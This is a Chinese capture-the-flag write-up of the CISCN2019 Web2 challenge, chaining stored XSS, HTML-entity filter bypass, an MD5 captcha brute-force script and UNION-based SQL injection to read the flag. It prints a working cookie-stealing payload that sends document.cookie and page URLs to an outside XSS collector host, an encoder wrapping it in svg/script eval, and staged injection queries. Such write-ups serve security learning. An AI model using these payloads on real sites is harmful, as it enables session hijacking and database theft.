2020/7/17 - [CISCN2019 华东北赛区]Web2 - xss、html markup、SQL注入

做一道复杂的题锻炼一下

1.判断是xss

这是一个类似博客的界面,而博客常见的漏洞就是xss,通过让别人浏览或者点击某处盗取身份。
在这里插入图片描述
由此处大概能感觉到是xss了,在内网xss平台弄(第二次搞xss,第一次是在pikachu上面弄的)。

2.盗cookie的payload

在这里插入图片描述
看了一下wp,因为我对xss并不是很熟悉,他们说要自动触发,需要把payload略改一下,改成下面。

(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=46kX1e&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

对有些字符进行了过滤,可以用html markup绕过,好像就是把ascii码前加上&#就可以了,有转化为该格式的脚本,写在下面。

#来自网络
xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=46kX1e&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

我的上传xss界面为

http://376135a1-4d88-4f68-89e4-c779c98776b6.node3.buuoj.cn/post/c54c79fe68c94c2461be3612a449fba8.html

然后进入反馈界面,把刚才存在xss的界面url填入,
在这里插入图片描述
对MD5验证码的前六位验证,下面是爆破脚本,令验证码为数字进行爆破,取其md5后的前六位对比我们已经给出的结果。

import hashlib

def func(md5_val):
    for x in range(999999, 10000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:6]==md5_val:
            return str(x)

if __name__ == '__main__':
    print func('b76301')

注意用python2
在这里插入图片描述
发送弹出错误,结合wp,知道了反馈用的url为,web位置换为其他的应该也可,不太明白为什么不能直接使用xss页面所在页面的URL。
在这里插入图片描述
在这里插入图片描述
用管理cookie登陆。

3.SQL注入获得flag

在这里插入图片描述
登陆该界面。
sql注入的各阶段payload

-1 union select 1,group_concat(schema_name),3 from information_schema.schemata#

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ciscn'#

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#

-1 union select 1,group_concat(flagg),3 from flag#

在这里插入图片描述
第一步忘截图了。
在这里插入图片描述
在这里插入图片描述
真够复杂的。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

抒情诗、

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值